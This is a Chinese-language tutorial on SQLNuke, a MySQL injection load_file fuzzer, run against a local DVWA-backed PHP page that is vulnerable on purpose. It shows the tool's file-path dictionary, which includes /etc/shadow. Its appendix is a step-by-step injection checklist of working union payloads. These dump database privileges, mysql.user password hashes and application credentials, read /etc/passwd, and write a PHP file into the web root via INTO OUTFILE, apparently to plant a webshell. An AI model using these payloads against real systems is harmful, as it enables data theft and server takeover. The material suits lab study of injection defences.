SQLNuke——mysql 注入load_file Fuzz工具
我们现在来验证一下该工具的作用。
以下是用于测试的,存在sql注入的PHP实例代码sqlitest.php,我直接使用的DVWA的数据库
php $id = $_GET['id']; $con = mysql_connect("localhost","root","toor") or die ("cannot connect mysql server .".mysql_error()); mysql_select_db("dvwa",$con) or die (mysql_error($con)); $sql = "select * from users where user_id=$id"; print " SQL injection example "; $result = mysql_query($sql,$con) or die (mysql_error($con)); while($row = mysql_fetch_assoc($result)){ echo "id:".$row['user_id']." "; echo "user:".$row['user']." "; echo "password:".$row['password']." "; echo " "; } mysql_free_result($result); mysql_close($con); ?>
如下图所示,id是注入点,1,4,5字段的地方有回显(附录部分会介绍如何定位mysql注入)
在定位注入点与回显地方后,可以使用手动的方式来load_file感兴趣的文件,以查询/etc/passwd为例,如下图所示
我们可以一个个尝试哪些文件可以使用load_file读取。当然也可以使用脚本工具自动化探测,Sqlnuke就具备这样的作用。下面介绍如何使用
首先,下载Sqlnuke
git clone https://github.com/nuke99/sqlnuke.git
然后,使用sqlnuke,使用方法很简单。
./sql.rb -u 'http://localhost/sqlitest.php?id=1 union select 1,2,3,XxxX,5,6' --os linux
(1)-u选项表示存在sql注入的URL,XxxX来代替回显字段,本文实例sqlitest.php在1,4,5的位置有回显,我们可以使用XxxX来替代1,4,5位任意一处位置(2)--os选项表示mysql服务器所在的操作系统类型
运行该命令后,我们可以看到,成功下载了6个文件,并存放在了output/localhost/文件夹下
本次示例在backtrack上读取了以下6个文件
在文章开头,提到sqlnuke的原理是用文件路径字典做Fuzz,sqlnuke的文件路径名字典存放在/sqluke/inputs/packset.lst下,默认的字典如下所示:
:linux:
- /etc/passwd
- /etc/shadow
- /etc/group
- /etc/hosts
- /etc/apache2/logs/access.log
- /etc/httpd/access.log
- /etc/init.d/apache/httpd.conf
- /etc/init.d/apache/httpd.conf
- /etc/init.d/apache2/httpd.conf
- /usr/local/apache2/conf/httpd.conf
- /usr/local/apache/conf/httpd.conf
- /home/apache/httpd.conf
- /home/apache/conf/httpd.conf
- /opt/apache/conf/httpd.conf
- /etc/httpd/httpd.conf
- /etc/httpd/conf/httpd.conf
- /etc/apache/apache.conf
- /etc/apache/httpd.conf
- /etc/apache2/apache2.conf
- /etc/apache2/httpd.conf
- /usr/local/apache2/conf/httpd.conf
- /usr/local/apache/conf/httpd.conf
- /opt/apache/conf/httpd.conf
- /home/apache/httpd.conf
- /home/apache/conf/httpd.conf
- /etc/apache2/sites-available/default
- /etc/apache2/vhosts.d/default_vhost.include
- /var/www/vhosts/sitename/httpdocs//etc/init.d/apache
:win:
- C:/wamp/bin/apache/logs/access.log
- C:/wamp/bin/mysql/mysql5.5.24/wampserver.conf
- C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf
- C:/wamp/bin/apache/apache2.2.22/conf/wampserver.conf
- C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf.build
- C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf.build
当然,我们可以修改字典内容,来试探下载感兴趣的文件。
Have Fun.
附录:
MySQL注入checklist(以sqlitest.php为例,不包括盲注的情况)
1 判断是否存在注入
观察单引号是否报错
http://localhost/sqlitest.php?id=1‘
观察下面两个请求是否存在差异
http://localhost/sqlitest.php?id=1 and 1=1
http://localhost/sqlitest.php?id=1 and 1=2
2 判断列数
可以使用二分法来定位列数
http://localhost/sqlitest.php?id=1 order by 8
http://localhost/sqlitest.php?id=1 order by 4
(注意;有时候需要将后面的语句注释掉,mysql常见注释语句 -- # /*,例如http://localhost/sqlitest.php?id=1 order by 8 -- )
3 判断页面哪些地方可以回显
http://localhost/sqlittest.php?id=1 union select 1,2,3,4,5,6
(注意:有时候页面只显示一行查询结果,这个时候就需要屏蔽正常的返回结果http://localhost/sqlittest.php?id=1 and 1=2 union select 1,2,3,4,5,6)
4 识别数据库信息
version()数据库版本,database()当前数据库名,user()当前数据库用户
http://localhost/sqlitest.php?id=1 and 1=2 union select version(),2,3,database(),user(),6
识别数据库系统权限(注意:information_schema是mysql5.0后才出现的)
http://localhost/sqlitest.php?id=1 union select 1,2,3,concat(grantee,0x3a,privilege_type,0x3a,is_grantable),5,6 from information_schema.user_privileges
识别数据库系统账户信息
http://localhost/sqlitest.php?id=1 union select concat(user,password),2,3,4,5,6 from mysql.user
5 列出数据库系统中存放有哪些数据库 http://localhost/sqlitest.php?id=1 union select group_concat(schema_name),2,3,4,5,6 from information_schema.schemata
6 猜表
http://localhost/sqlitest.php?id=1 union select group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema=0x(数据库名对应的十六进制)
7 猜字段
http://localhost/sqlitest.php?id=1 union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_schema=0x(数据库名对应的十六进制) and table_name=0x(表明对应的十六进制)
8 经过上面的步骤,得知数据库名,表名和列名等基本信息后就可以联合查询出指定的数据了
http://localhost/sqlitest.php?id=1 union select 1,2,3,4,concat(username,0x3a,password),6 from spt.users
9 读取操作系统文件(注意:数据库用户有FILE权限,需要指定完整的路径名,并且该文件可被读取)
/sqlitest.php?id=1 union select 1,2,3,4,load_file(0x2f6574632f706173737764),6
0x2f6574632f706173737764为/etc/passwd对应的十六进制
10.向操作系统写数据(注意:数据库用户有FILE权限,有在文件系统中创建文件的权限,需要制定完整的路径名(爆路径漏洞在这里就能发挥作用了),并且写入地方不存在相同文件名的文件)
http://localhost/sqlitest.php?id=1 union select 1,2,3,4,"{C}",6 into outfile "/var/www/yijuhua.php"
参考:
http://resources.infosecinstitute.com/sqlnuke-simple-but-fast-mysql-injection-load_file-fuzzer/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+infosecResources+%28InfoSec+Resources%29